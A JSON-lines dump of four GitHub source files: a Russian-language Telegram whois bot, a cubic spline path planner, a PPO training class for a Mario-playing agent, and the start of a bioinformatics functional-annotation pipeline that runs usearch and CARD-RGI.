+{"seq_id":"13358298210","text":"from datetime import datetime\nfrom aiogram import Bot, types\nfrom aiogram.dispatcher import Dispatcher\nfrom aiogram.utils import executor\n\nimport re\n\nfrom keyboards import kb_whois, inline_kb_whois\n\nimport whois\n\nimport os\n\nbot = Bot(token = os.getenv('TOKEN'))\ndp = Dispatcher(bot)\n\nasync def startup_on(_):\n    print('Бот в вышел в онлайн')\n\n@dp.message_handler(commands='start')\n@dp.message_handler(regexp='\\s*@torrentxok_testbot\\s*/start\\s*')\nasync def command_start(message : types.Message):\n    try:\n        start_message ='''\nПривет)\nЭто бот, который отправляет Whois-запросы\n\nОн позволяет отслеживать домены, которые вы добавите,\nи выводить информацию о домене!\n\nОбновление информации добавленных доменов происходит один раз в день\n\nТакже возможно настроить систему оповещений\n\nИнструкцию по командам, которые есть у бота, \\\nможно просмотреть по запросу:\n/help\n\nСписок команд доступен по запросу:\n/commands'''\n        await bot.send_message(message.from_user.id, start_message, reply_markup=kb_whois)\n    \n    except:\n        await message.reply(f'Ошибка! Напишите боту (@{(await bot.get_me()).username}) в личные сообщения')\n\n@dp.message_handler(commands='help')\n@dp.message_handler(regexp='\\s*@torrentxok_testbot\\s*/help\\s*')\nasync def command_list(message : types.Message):\n    try:\n        help_message = '''\nДоступные команды :\n\n/commands - просмотреть список доступных запросов\n\nШаблоны:\n\n/find     { your domain } - Выполняет whois-запрос и выводит информацию о домене\n\n/add    { your domain } - Добавляет домен для отслеживания\n\n/delete    { your domain } - Удаляет ранее добавленный домен\n\n/list - Просмотр добавленных доменов\n\nВместо { your domain } вставьте имя домена, который хотите проверить\n(без {} и без http)'''\n        await bot.send_message(message.from_user.id, help_message, reply_markup=kb_whois)\n    except:\n        await message.reply('Общение с ботом в ЛС!')\n\n@dp.message_handler(commands='commands')\n@dp.message_handler(regexp='\\s*@torrentxok_testbot\\s*/commands\\s*')\nasync def command_whois(message : types.Message):\n    commands_message = '''\nИнструкция по доступным командым:\n/help\n\nКоманды: '''\n    await bot.send_message(message.from_user.id, commands_message, reply_markup=inline_kb_whois)\n\n\n    #await message.reply(message.text)\n@dp.message_handler(regexp='\\s*@torrentxok_testbot\\s*/find\\s*\\w*\\s*') \n@dp.message_handler(regexp='\\s*/find\\s*\\w*\\s*')\nasync def find_domain(message : types.Message):\n    domain_name = message.text[message.text.find('find')+4:].strip()\n    if len(domain_name.split())!=1:\n        await bot.send_message(message.from_user.id, 'Неверное имя домена!\\nИнструкция по использованию бота:\\n/help')\n    else:\n        try:\n            #информация о домене\n            whois_find_domain = whois.whois(domain_name)\n            print(whois_find_domain)\n            if type(whois_find_domain['creation_date']) == list:\n                creation_date = str(whois_find_domain['creation_date'][1])[:11].strip().split('-')\n            elif type(whois_find_domain['creation_date']) == datetime:\n                creation_date = str(whois_find_domain['creation_date'])[:11].strip().split('-')\n            creation_date_year = creation_date[0]\n            creation_date_month = creation_date[1]\n            creation_date_day = creation_date[2]\n\n            if type(whois_find_domain['expiration_date']) == list:\n                expiration_date = str(whois_find_domain['expiration_date'][1])[:11].strip().split('-')\n            elif type(whois_find_domain['expiration_date']) == datetime:\n                expiration_date = str(whois_find_domain['expiration_date'])[:11].strip().split('-')\n            expiration_date_year = expiration_date[0]\n            expiration_date_month = expiration_date[1]\n            expiration_date_day = expiration_date[2]\n\n            whois_info = f'''\nDomain : {whois_find_domain['domain_name']}\nCreation date : {creation_date_day}.{creation_date_month}.{creation_date_year}\nExpiration date : {expiration_date_day}.{expiration_date_month}.{expiration_date_year}\n'''\n            await bot.send_message(message.from_user.id, whois_info)\n        except:\n            await bot.send_message(message.from_user.id, 'Произошла ошибка!\\nПопробуйте еще раз или введите другое имя домена\\n\\nИнструкция доступна по запросу:\\n/help' )\n\n\nexecutor.start_polling(dp, skip_updates=True, on_startup=startup_on)","repo_name":"torrentxok/whois-telegram-bot","sub_path":"bot_telegram.py","file_name":"bot_telegram.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10772011247","text":"\"\"\"\nCubic spline planner\nAuthor: Atsushi Sakai(@Atsushi_twi)\n\nAdapted by Aaron\n\"\"\"\nimport math\nimport numpy as np\nimport bisect\nimport pdb\n\nclass Spline:\n    \"\"\"\n    Cubic Spline class\n    \"\"\"\n\n    def __init__(self, x, y):\n        self.b, self.c, self.d, self.w = [], [], [], []\n\n        self.x = x\n        self.y = y\n\n        self.nx = len(x)  # dimension of x\n        h = np.diff(x)\n\n        # calc coefficient c\n        self.a = [iy for iy in y]\n\n        # calc coefficient c\n        A = self.__calc_A(h)\n        B = self.__calc_B(h)\n        self.c = np.linalg.solve(A, B)\n        #  print(self.c1)\n\n        # calc spline coefficient b and d\n        for i in range(self.nx - 1):\n            self.d.append((self.c[i + 1] - self.c[i]) / (3.0 * h[i]))\n            tb = (self.a[i + 1] - self.a[i]) / h[i] - h[i] * \\\n                (self.c[i + 1] + 2.0 * self.c[i]) / 3.0\n            self.b.append(tb)\n\n    def calc(self, t):\n        \"\"\"\n        Calc position\n        if t is outside of the input x, return None\n        \"\"\"\n\n        if t < self.x[0]:\n            return None\n        elif t > self.x[-1]:\n            return None\n\n        i = self.__search_index(t)\n        dx = t - self.x[i]\n        result = self.a[i] + self.b[i] * dx + \\\n            self.c[i] * dx ** 2.0 + self.d[i] * dx ** 3.0\n\n        return result\n\n    def calcd(self, t):\n        \"\"\"\n        Calc first derivative\n        if t is outside of the input x, return None\n        \"\"\"\n\n        if t < self.x[0]:\n            return None\n        elif t > self.x[-1]:\n            return None\n        \n        # i = np.argmin(np.abs(t-np.array(self.x)))-1\n        \n        i = self.__search_index(t)\n        dx = t - self.x[i]\n        result = self.b[i] + 2.0 * self.c[i] * dx + 3.0 * self.d[i] * dx ** 2.0\n        \n        return result\n\n    def calcdd(self, t):\n        \"\"\"\n        Calc second derivative\n        \"\"\"\n\n        if t < self.x[0]:\n            return None\n        elif t > self.x[-1]:\n            return None\n\n        i = self.__search_index(t)\n        dx = t - self.x[i]\n        result = 2.0 * self.c[i] + 6.0 * self.d[i] * dx\n        return result\n    \n    def calcddd(self, t):\n        \"\"\"\n        Calc third derivative\n        \"\"\"\n        \n        if t < self.x[0]:\n            return None\n        elif t > self.x[-1]:\n            return None\n\n        i = self.__search_index(t)\n        dx = t - self.x[i]\n        result = 6.0 * self.d[i]\n        return result\n\n    def __search_index(self, x):\n        \"\"\"\n        search data segment index\n        \"\"\"\n        return bisect.bisect(self.x, x) - 1\n\n    def __calc_A(self, h):\n        \"\"\"\n        calc matrix A for spline coefficient c\n        \"\"\"\n        A = np.zeros((self.nx, self.nx))\n        A[0, 0] = 1.0\n        for i in range(self.nx - 1):\n            if i != (self.nx - 2):\n                A[i + 1, i + 1] = 2.0 * (h[i] + h[i + 1])\n            A[i + 1, i] = h[i]\n            A[i, i + 1] = h[i]\n\n        A[0, 1] = 0.0\n        A[self.nx - 1, self.nx - 2] = 0.0\n        A[self.nx - 1, self.nx - 1] = 1.0\n        #  print(A)\n        return A\n\n    def __calc_B(self, h):\n        \"\"\"\n        calc matrix B for spline coefficient c\n        \"\"\"\n        B = np.zeros(self.nx)\n        for i in range(self.nx - 2):\n            B[i + 1] = 3.0 * (self.a[i + 2] - self.a[i + 1]) / \\\n                h[i + 1] - 3.0 * (self.a[i + 1] - self.a[i]) / h[i]\n        return B\n\n\nclass Spline2D:\n    \"\"\"\n    2D Cubic Spline class\n    \"\"\"\n\n    # Compute and store for a fixed set of s values along the path\n    # the corresponding s, x(s), y(s), x'(s), y'(s) values for later use\n    # Store points at intervals of ds path length\n    def __init__(self, x, y, ds=0.005):\n        self.s = self.__calc_s(x, y)\n        self.sx = Spline(self.s, x)\n        self.sy = Spline(self.s, y)\n        self.ds = ds\n        self.end = np.max(self.s)\n        self.PointTangent = np.array([[ds*i, self.calc_position(ds*i)[0], self.calc_position(ds*i)[1], self.sx.calcd(ds*i), self.sy.calcd(ds*i)] for i in range(0,int(self.end/ds))])\n        \n    def __calc_s(self, x, y):\n        dx = np.diff(x)\n        dy = np.diff(y)\n        self.ds = np.hypot(dx, dy)\n        s = [0]\n        s.extend(np.cumsum(self.ds))\n        return s\n\n    # Given a particular s, find x(s), y(s)\n    def calc_position(self, s):\n        \"\"\"\n        calc position\n        \"\"\"\n        x = self.sx.calc(s)\n        y = self.sy.calc(s)\n\n        return x, y\n\n    # Note that are using signed curvature here\n    def calc_curvature(self, s):\n        \"\"\"\n        calc curvature\n        \"\"\"\n        dx = self.sx.calcd(s)\n        ddx = self.sx.calcdd(s)\n        dy = self.sy.calcd(s)\n        ddy = self.sy.calcdd(s)\n        k = (ddy * dx - ddx * dy) / ((dx ** 2 + dy ** 2)**(3 / 2))\n        return k\n\n    # Given s, compute gamma(s)\n    def calc_yaw(self, s):\n        \"\"\"\n        calc yaw\n        \"\"\"\n        dx = self.sx.calcd(s)\n        dy = self.sy.calcd(s)\n        yaw = math.atan2(dy, dx)\n        # if (dx == 0):\n        #     if dy > 0:\n        #         yaw = math.pi/2\n        #     elif dy < 0:\n        #         yaw = -math.pi/2\n        # else:\n        #     yaw = math.atan(dy/dx)\n        # if (dx < 0):\n        #     yaw = yaw + math.pi\n        return yaw\n    \n    # Given s, compute d/ds gamma(s)\n    def calc_yawPrime(self, s):\n        dx = self.sx.calcd(s)\n        ddx = self.sx.calcdd(s)\n        dy = self.sy.calcd(s)\n        ddy = self.sy.calcdd(s)\n        yawPrime = (ddy * dx - ddx * dy) / (dx ** 2 + dy ** 2)\n        return yawPrime\n    \n    # Given s, compute d/ds K(s)\n    def calc_curvaturePrime(self, s):\n        dx = self.sx.calcd(s)\n        ddx = self.sx.calcdd(s)\n        dddx = self.sx.calcddd(s)\n        dy = self.sy.calcd(s)\n        ddy = self.sy.calcdd(s)\n        dddy = self.sy.calcddd(s)\n        \n        firstTerm = (dddy * dx - dddx * dy) / (dx**2 + dy**2)**(3/2)\n        secondTerm = 3 * (dx * ddy - ddx * dy) * (dx * ddx + dy * ddy) / (dx**2 + dy**2)**(5/2)\n        \n        return firstTerm - secondTerm\n    \n    # Compute the unit normal and non-unit tangent vector at given point\n    def calcTangentNormal(self, s):\n        dx = self.sx.calcd(s)\n        dy = self.sy.calcd(s)\n        r = np.sqrt(dx**2 + dy**2)\n        nx = - dy / r\n        ny = dx / r\n        # Return tangent, normal\n        return np.array([dx, dy]), np.array([nx, ny])\n        \n    # Convert from s, y to x1, y1\n    def calcXY(self, s, y):\n        x0, y0 = self.calc_position(s)\n        \n        # Compute normal vector\n        dx = self.sx.calcd(s)\n        dy = self.sy.calcd(s)\n        r = np.sqrt(dx**2 + dy**2)\n        nx = - dy / r\n        ny = dx / r\n        \n        x1 = x0 + y * nx\n        y1 = y0 + y * ny\n        \n        return x1, y1\n        \n    # Convert from x1, y1 to s, y\n    # eps = 1e-4, maxIter = 100\n    def calcSY(self, x1, y1):\n        # maxIter = 10, shrink=0.9, startSize = 5\n        # Compute the point which minimizes distance from x1, y1 to x0, y0 \n        # Potentially refine by repeating process for increasingly\n        # narrow windows or by making inner product between point - center\n        # and tangent 0\n        point = np.array([x1, y1])\n        sVals = self.PointTangent[:,0]\n        centers = self.PointTangent[:,1:3]\n        dists = np.sqrt(np.sum(np.square(point - centers), axis=1))\n        ind = np.argmin(dists)\n        s = sVals[ind]\n        # Make it positive displacement if aligned with normal and negative\n        # else\n        \n        # Compute normal vector\n        dx = self.sx.calcd(s)\n        dy = self.sy.calcd(s)\n        r = np.sqrt(dx**2 + dy**2)\n        nx = - dy / r\n        ny = dx / r\n        \n        # Should be equivalent to just doing np.dot and not using dists[ind]\n        y = dists[ind] * np.sign(np.dot(np.array([nx, ny]), point-centers[ind])) \n                \n        # count = 0\n        # while count < maxIter:\n        #     dists = np.sqrt(np.sum(np.square(point - centers), axis=1))\n        #     ind = np.argmin(dists)\n        #     s = sVals[ind]\n        #     y = dists[ind]\n            \n        #     pdb.set_trace()\n            \n        #     windowSize = shrink**count * min(self.end/2, startSize)\n        #     PointTangent = np.array([[val, self.calc_position(val)[0], self.calc_position(val)[1], self.sx.calcd(val), self.sy.calcd(val)] for val in np.linspace(s-windowSize/2, s+windowSize/2)])\n        #     sVals = PointTangent[:,0]\n        #     centers = PointTangent[:,1:3]\n        #     count += 1\n        #     print('count', count)\n        #     print('s', s)\n        #     print('y', y)\n        #     print('x, y',self.calcXY(s, y))\n            \n        # count = 0\n        # inner = 1\n        # while abs(inner) > eps and count < maxIter:\n        #     estNormal = point - np.array(self.calc_position(s))\n        #     tangent = [self.sx.calcd(s), self.sy.calcd(s)]\n        #     # Use normalized inner product\n        #     inner = np.dot(estNormal, tangent) / np.linalg.norm(estNormal) / np.linalg.norm(tangent)\n            \n        #     dx = self.sx.calcd(s)\n        #     dy = self.sy.calcd(s)\n        #     r = np.sqrt(dx**2 + dy**2)\n        #     nx = - dy / r\n        #     ny = dx / r\n        #     y = np.dot(np.array([nx, ny]), estNormal)\n        #     s += inner # Move in direction of inner product\n        #     s = max(0, min(s, self.end)) # Make sure remains in bounds\n        #     count += 1\n            \n        return s, y\n\ndef calc_spline_course(x, y, ds=0.1):\n    sp = Spline2D(x, y)\n    s = list(np.arange(0, sp.s[-1], ds))\n\n    rx, ry, ryaw, rk = [], [], [], []\n    for i_s in s:\n        ix, iy = sp.calc_position(i_s)\n        rx.append(ix)\n        ry.append(iy)\n        ryaw.append(sp.calc_yaw(i_s))\n        rk.append(sp.calc_curvature(i_s))\n\n    return rx, ry, ryaw, rk, s\n\ndef fit_path(path, ds = 0.1):\n    x = path[:,0]\n    y = path[:,1]\n    sp = Spline2D(x, y)\n    s = np.arange(0, sp.s[-1], ds)\n\n    new_path = []\n    for i_s in s:\n        ix, iy = sp.calc_position(i_s)\n        new_path.append((ix, iy))\n    return new_path\n\n\ndef main():  # pragma: no cover\n    print(\"Spline 2D test\")\n    import matplotlib.pyplot as plt\n    # x = [-2.5, 0.0, 2.5, 5.0, 7.5, 3.0, -1.0]\n    # y = [0.7, -6, 5, 6.5, 0.0, 5.0, -2.0]\n    \n    path = np.load('path.npy')\n    \n    x = path[:,0]\n    y = path[:,1]\n    \n    plt.figure()\n    plt.title('Original path')\n    plt.scatter(x, y)\n    \n    ds = 0.1  # [m] distance of each interpolated points\n\n    sp = Spline2D(x, y)\n    s = np.arange(0, sp.s[-1], ds)\n\n    rx, ry, ryaw, rk = [], [], [], []\n    for i_s in s:\n        ix, iy = sp.calc_position(i_s)\n        rx.append(ix)\n        ry.append(iy)\n        ryaw.append(sp.calc_yaw(i_s))\n        rk.append(sp.calc_curvature(i_s))\n\n    plt.subplots(1)\n    plt.plot(x, y, \"xb\", label=\"input\")\n    plt.plot(rx, ry, \"-r\", label=\"spline\")\n    plt.grid(True)\n    plt.axis(\"equal\")\n    plt.xlabel(\"x[m]\")\n    plt.ylabel(\"y[m]\")\n    \n    # Plot the trajectory with dx, dy overlaid as quiver field\n    # sVals = np.linspace(0, sp.end, endpoint=False)\n    # xVals = [sp.calc_position(s)[0] for s in sVals]\n    # yVals = [sp.calc_position(s)[1] for s in sVals]\n    # dxVals = [sp.sx.calcd(s) for s in sVals]\n    # dyVals = [sp.sy.calcd(s) for s in sVals]\n    # plt.quiver(xVals, yVals, dxVals, dyVals, scale=1)\n    \n    plt.legend()\n\n    plt.subplots(1)\n    plt.plot(s, [np.rad2deg(iyaw) for iyaw in ryaw], \"-r\", label=\"yaw\")\n    plt.grid(True)\n    plt.legend()\n    plt.xlabel(\"line length[m]\")\n    plt.ylabel(\"yaw angle[deg]\")\n\n    plt.subplots(1)\n    plt.plot(s, rk, \"-r\", label=\"curvature\")\n    plt.grid(True)\n    plt.legend()\n    plt.xlabel(\"line length[m]\")\n    plt.ylabel(\"curvature [1/m]\")\n\n    plt.show()\n\n    plt.subplots(1)\n    plt.title('Plotting the numerical derivative components')\n    sVals = np.linspace(0, sp.end, int(sp.end/sp.ds), endpoint=False)\n    xVals = [sp.calc_position(s)[0] for s in sVals]\n    yVals = [sp.calc_position(s)[1] for s in sVals]\n    dxVals = [sp.sx.calcd(s) for s in sVals]\n    dyVals = [sp.sy.calcd(s) for s in sVals]\n    plt.scatter(sVals, dxVals, label='dx')\n    plt.scatter(sVals, dyVals, label='dy')\n    plt.xlabel('s')\n    plt.legend()\n\n    # Note that should choose a point that is not too far from path otherwise no \n    # guarantees since mapping only local\n    \n    s = np.random.uniform(0, sp.end)\n    y = np.random.uniform(0, 0.5)\n    x1, y1 = sp.calcXY(s,y)\n    print('s','y', s, y)\n    print('x1','y1', x1, y1)\n    print('after invert: s, y', sp.calcSY(*sp.calcXY(s,y)))\n    print('after invert: x1, y1', sp.calcXY(*sp.calcSY(x1,y1)))\n    pdb.set_trace()\n\n# if __name__ == '__main__':\n#     main()","repo_name":"sarahz916/RRT-LMPC","sub_path":"make_demos/cubic_spline_planner.py","file_name":"cubic_spline_planner.py","file_ext":"py","file_size_in_byte":12616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37516405591","text":"from .model import Model\nimport torch\nfrom torch import from_numpy\nimport numpy as np\nfrom torch.optim.adam import Adam\nfrom torch.optim.lr_scheduler import LambdaLR\nfrom Common.utils import explained_variance, mean_of_list\n\n\nclass Brain:\n    def __init__(self, **config):\n        self.config = config\n        self.n_workers = self.config[\"n_workers\"]\n        self.epsilon = self.config[\"clip_range\"]\n        self.device = torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\n\n        self.policy = Model(self.config[\"state_shape\"], self.config[\"n_actions\"]).to(self.device)\n\n        self.optimizer = Adam(self.policy.parameters(), lr=self.config[\"lr\"])\n        self.schedule_fn = lambda step: max(1.0 - float(step / self.config[\"total_iterations\"]), 0)\n        self.scheduler = LambdaLR(self.optimizer, lr_lambda=self.schedule_fn)\n\n    def get_actions_and_values(self, state, batch=False):\n        if not batch:\n            state = np.expand_dims(state, 0)\n        state = from_numpy(state).to(self.device)\n        with torch.no_grad():\n            dist, value, action_prob = self.policy(state)\n            action = dist.sample()\n            log_prob = dist.log_prob(action)\n        return action.cpu().numpy(), value.cpu().numpy().squeeze(), log_prob.cpu().numpy(), action_prob.cpu().numpy()\n\n    def choose_mini_batch(self, states, actions, returns, advs, values, log_probs):\n        full_batch_size = len(states)\n        states = torch.ByteTensor(states).to(self.device)\n        actions = torch.ByteTensor(actions).to(self.device)\n        advs = torch.Tensor(advs).to(self.device)\n        returns = torch.Tensor(returns).to(self.device)\n        values = torch.Tensor(values).to(self.device)\n        log_probs = torch.Tensor(log_probs).to(self.device)\n\n        indices = np.random.randint(0, full_batch_size, (self.n_workers, self.config[\"batch_size\"]))\n\n        for idx in indices:\n            yield states[idx], actions[idx], returns[idx], advs[idx], values[idx], log_probs[idx]\n\n    @mean_of_list\n    def train(self, states, actions, rewards, dones, values, log_probs, next_values):\n        returns = self.get_gae(rewards, values, next_values, dones)\n        values = np.concatenate(values)\n        advs = returns - values\n        advs = (advs - advs.mean()) / (advs.std() + 1e-8)\n\n        pg_losses, v_losses, entropies, kls, norms = [], [], [], [], []\n        for epoch in range(self.config[\"n_epochs\"]):\n            for state, action, q_value, adv, old_value, old_log_prob in self.choose_mini_batch(states,\n                                                                                               actions,\n                                                                                               returns,\n                                                                                               advs,\n                                                                                               values,\n                                                                                               log_probs):\n                dist, value, _ = self.policy(state)\n                entropy = dist.entropy().mean()\n                new_log_prob = dist.log_prob(action)\n                ratio = (new_log_prob - old_log_prob).exp()\n                actor_loss = self.compute_ac_loss(ratio, adv)\n\n                clipped_value = old_value + torch.clamp(value.squeeze() - old_value, -self.epsilon, self.epsilon)\n                clipped_v_loss = (clipped_value - q_value).pow(2)\n                unclipped_v_loss = (value.squeeze() - q_value).pow(2)\n                critic_loss = 0.5 * torch.max(clipped_v_loss, unclipped_v_loss).mean()\n\n                total_loss = critic_loss + actor_loss - self.config[\"ent_coeff\"] * entropy\n                norm = self.optimize(total_loss)\n\n                approxkl = 0.5 * (new_log_prob - old_log_prob).pow(2).mean()  # http://joschu.net/blog/kl-approx.html\n\n                pg_losses.append(actor_loss.item())\n                v_losses.append(critic_loss.item())\n                entropies.append(entropy.item())\n                kls.append(approxkl.item())\n                norms.append(norm.item())\n\n        return pg_losses, v_losses, entropies, kls, norms, explained_variance(values, returns)\n\n    def schedule_lr(self):\n        self.scheduler.step()\n\n    def schedule_clip_range(self, iter):\n        self.epsilon = max(1.0 - float(iter / self.config[\"total_iterations\"]), 0) * self.config[\"clip_range\"]\n\n    def optimize(self, loss):\n        self.optimizer.zero_grad()\n        loss.backward()\n        if self.config[\"clip_grad_norm\"][\"do\"]:\n            grad_norm = torch.nn.utils.clip_grad_norm_(self.policy.parameters(),\n                                                       self.config[\"clip_grad_norm\"][\"max_grad_norm\"])\n        self.optimizer.step()\n        return grad_norm\n\n    def get_gae(self, rewards, values, next_values, dones):\n        gamma = self.config[\"gamma\"]\n        lam = self.config[\"lambda\"]\n\n        returns = [[] for _ in range(self.n_workers)]\n        extended_values = np.zeros((self.n_workers, self.config[\"rollout_length\"] + 1))\n        for worker in range(self.n_workers):\n            extended_values[worker] = np.append(values[worker], next_values[worker])\n            gae = 0\n            for step in reversed(range(self.config[\"rollout_length\"])):\n                delta = rewards[worker][step] + \\\n                        gamma * (extended_values[worker][step + 1]) * (1 - dones[worker][step]) \\\n                        - extended_values[worker][step]\n                gae = delta + gamma * lam * (1 - dones[worker][step]) * gae\n                returns[worker].insert(0, gae + extended_values[worker][step])\n\n        return np.concatenate(returns)\n\n    def compute_ac_loss(self, ratio, adv):\n        new_r = ratio * adv\n        clamped_r = torch.clamp(ratio, 1 - self.epsilon, 1 + self.epsilon) * adv\n        loss = torch.min(new_r, clamped_r)\n        loss = -loss.mean()\n        return loss\n\n    def set_from_checkpoint(self, checkpoint):\n        self.policy.load_state_dict(checkpoint[\"current_policy_state_dict\"])\n        self.optimizer.load_state_dict(checkpoint[\"optimizer_state_dict\"])\n        self.scheduler.load_state_dict(checkpoint[\"scheduler_state_dict\"])\n\n    def set_to_eval_mode(self):\n        self.policy.eval()\n","repo_name":"alirezakazemipour/Mario-PPO","sub_path":"Brain/brain.py","file_name":"brain.py","file_ext":"py","file_size_in_byte":6331,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"42608201593","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n## General Command\n    #  outdir = \"/home/sgupta755/gitfolder/Debugging/output\"\n    # indir = \"/home/sgupta755/gitfolder/Debugging/predictions\"\n    # assembly_dir = \"/home/sgupta755/gitfolder/Debugging/assemblies\"\n    # piler_cr_converter = \"/home/sgupta755/gitfolder/Team1-FunctionalAnnotation/CRISPRFileToGFF_1.pl\"\n# python FunctionalAnnotationPipeline.py -i /home/sgupta755/gitfolder/Team1-FunctionalAnnotation/sample_output -o /home/sgupta755/gitfolder/Team1-FunctionalAnnotation/functional_output -a /home/sgupta755/gitfolder/Team1-FunctionalAnnotation/assemblies -c FAmodule/CRISPRFileToGFF_1.pl\n\n# Each tool will have their own functions\n\nimport argparse\nimport os\nimport re\nimport subprocess\nimport time\nfrom FAmodule.signalp_script_func import signalP\nfrom FAmodule.eggScript import getFile\nfrom FAmodule.tmhmm import tmhmm, converttogff\nfrom FAmodule.pilercr_module import piler_cr_module\nfrom FAmodule.vfdb_module import vfdb_module\nfrom FAmodule.GFF_merger import GFF_Merge\nimport multiprocessing as mp\nimport time\nfrom tqdm import tqdm\n\n# USearch Clustering\n\n\n\ndef usearch_command(sample, path, outputpath = \".\", pid = 0.97):\n    # Running usearch command\n    try:\n        os.mkdir(os.path.join(outputpath, sample))\n    except:\n        print(\"Folder already made\")\n    cmd = \"cat \"+ path + \"> \" + \"ClusterFaa\"\n    # cmd = cmd.split()\n    os.system(cmd)\n    command = \"usearch -cluster_fast \" + \"ClusterFaa\" + \" -id \"+str(pid)+\" -centroids \" + os.path.join(outputpath) + \"/Centroids.fasta -uc \" + os.path.join(outputpath, sample) + \"/Clusters.uc\"\n    command = command.split()\n    subprocess.check_output(command)\n    os.system(\"rm CLusterFaa\")\n\n\ndef usearch_multi_runner(dirpath=\".\", output2 = \".\", pid=0.97):\n    # Running usearch on multiple\n    faainputs = []\n    for root, dirs, files in os.walk(dirpath, topdown=False):\n        for name in files:\n            if re.search(pattern=\".faa\", string=root + name) and re.search(pattern=\"uniq\", string=root + name):\n                faainputs.append(os.path.join(root, name))\n    faainputs = list(zip(faainputs, dirs))\n    # print(dirs)\n    # for dir in dirs:\n    #     print(dir)\n    patho = \"\"\n    for fi, isolate in faainputs:\n        patho += fi + \" \"\n    usearch_command(\"\", patho, output2, pid)\n    print(\"USearch clustering done\")\n\ndef rgi_2_gff(temp_file):\n    with open(temp_file, encoding='latin-1') as f:\n        lines = f.readlines()\n        del lines[0]\n    out_content = '##gff-version  3\\n'\n    for line in lines:\n        items = [l for l in line.replace(' ', '\\t').split('\\t') if l]\n        out_content += items[0] + '\\t'\n        out_content += 'RGI-CARD\\tAntibiotic resistant genes\\t'\n        start, end = items[2],items[4]\n        out_content += '{}\\t{}\\t'.format(start, end)\n        out_content += '.\\t.\\t.\\t'\n        out_content += ';'.join(items[8:-2])\n        out_content += '\\n'\n    out_content = out_content[:-1]\n    with open(\"%s.gff\"%(temp_file), 'w') as f:\n        f.write(out_content)\n\ndef card_rgi_runner(indir, outdir):\n    \"\"\"\n\n    :param indir: Input directory\n    :param outdir: Output directory\n    :return: None. Just runs the command.\n    \"\"\"\n    print(outdir)\n    try:\n        os.mkdir(os.path.join(outdir, \"database\"))\n        print(f\"{os.path.join(outdir, 'database')} created\")\n    except:\n        print(\"Folder already exists\")\n    # try:\n    #     os.chdir(os.path.join(outdir, \"database\"))\n    # except:\n        print(\"Already there\")\n    if not os.path.exists(os.path.join(outdir, \"database\", 'card.json')):\n        print(f\"wget -P {os.path.join(outdir, 'database')} https://card.mcmaster.ca/latest/data\")\n        subprocess.check_output([\"wget\", \"-P\",os.path.join(outdir, \"database\"),\"https://card.mcmaster.ca/latest/data\"])\n        print(f\"tar -xvf {os.path.join(outdir, 'database', 'data')} -C {os.path.join(outdir, 'database')}\")\n        subprocess.check_output([\"tar\", \"-xvf\", os.path.join(outdir,\"database\",\"data\"), \"-C\",os.path.join(outdir, \"database\")])\n        subprocess.call([\"rgi\", \"load\", \"--card_json\", os.path.join(outdir, \"database\", \"card.json\")])\n    try:\n        os.mkdir(os.path.join(outdir))\n    except:\n        print(\"Already made\")\n\n    inputsfile = []\n    for root, dirs, files in os.walk(indir, topdown=False):\n        for name in files:\n            if re.search(pattern=\".fasta\", string=root + name) and not re.search(pattern=\".fai\", string=root + name):\n                inputsfile.append(os.path.join(root, name))\n    isolates = [f for f in os.listdir(os.path.join(indir))]\n    inputs = list(zip(inputsfile, isolates))\n\n    for ins, isos in inputs:\n        print(f\"Running card-rgi main for {isos} where assembly file is in {ins}\")\n        start = time.time()\n        try:\n            os.mkdir(os.path.join(outdir, \"CardOutput\", isos))\n        except:\n            print(\"Folder already exists\")\n        command = \"rgi main -i \"+os.path.join(ins)+\" -o \"+os.path.join(outdir,\"CARD\"+isos)+\" -n 6\"\n        command = command.split()\n        subprocess.check_output(command)\n        stop = time.time()\n        rgi_2_gff(os.path.join(outdir,\"CARD\"+isos+\".txt\"))\n        print(f\"Time taken for {isos} is {stop-start}s\")\n    # os.chdir(os.path.join(outdir))\n    # subprocess.check_output([\"rm\", \"-r\", \"contigs*\"])\n    # subprocess.check_output([\"rm\", \"-r\", \"*json\"])\n    return None\n\n\ndef tmhmm_runner(indir, outdir):\n    tmhmm(indir, outdir)\n    converttogff(outdir)\n    return None\n    \n# TODO: merge command function\n\ndef main():\n    # warnings.filterwarnings(\"ignore\")\n    # Calling argparse and creating the parser class object\n\n    parser = argparse.ArgumentParser(description=\"Parser for functional annotation\")\n    parser.add_argument(\"-i\", metavar=\"Absolute path of the directory containing the isolates\", type=str, required=True)\n    parser.add_argument(\"-o\", metavar=\"Relative output directory path\",\n                        help=\"Path for output directory. If it does not exist it \"\n                             \"will be created.\", type=str, required=True)\n    parser.add_argument(\"-a\", metavar=\"Absolute path of assembly fastq files\", type=str, required=True) # Required for pilerCR and CARD-RGI\n    parser.add_argument(\"-c\", metavar=\"Perl GFF Converter for CRISPR\", type=str, required=True)\n    parser.add_argument(\"-p\", metavar=\"Percentage of identity\", type=float, default=0.97)\n    \n    args = parser.parse_args()\n    \n    currentdirectory = os.getcwd()\n    #\n    try:\n        os.mkdir(os.path.join(currentdirectory, args.o))\n    except:\n        print(\"Folder already exists\")\n    \n    \n\n    # Input directory and output directory\n    indir = args.i\n    outdir = args.o\n    assembly_dir = args.a\n    piler_cr_converter = args.c\n\n    # outdir = \"/home/sgupta755/gitfolder/Debugging/output\"\n    # indir = \"/home/sgupta755/gitfolder/Debugging/predictions\"\n    # assembly_dir = \"/home/sgupta755/gitfolder/Debugging/assemblies\"\n    # piler_cr_converter = \"/home/sgupta755/gitfolder/Team1-FunctionalAnnotation/CRISPRFileToGFF_1.pl\"\n    \n    if not os.path.exists(outdir):\n        os.makedirs(outdir)\n\n    t1 = time.time()\n    \n    if not os.path.exists(os.path.join(outdir, \"CardRGI\")):\n        os.mkdir(os.path.join(outdir, \"CardRGI\"))\n    if not os.path.exists(os.path.join(outdir, \"VFDB\")):\n        os.mkdir(os.path.join(outdir, \"VFDB\"))\n    if not os.path.exists(os.path.join(outdir, \"pilerCR\")):\n        os.mkdir(os.path.join(outdir, \"pilerCR\"))\n    if not os.path.exists(os.path.join(outdir, \"signalP\")):\n        os.mkdir(os.path.join(outdir, \"signalP\"))\n    if not 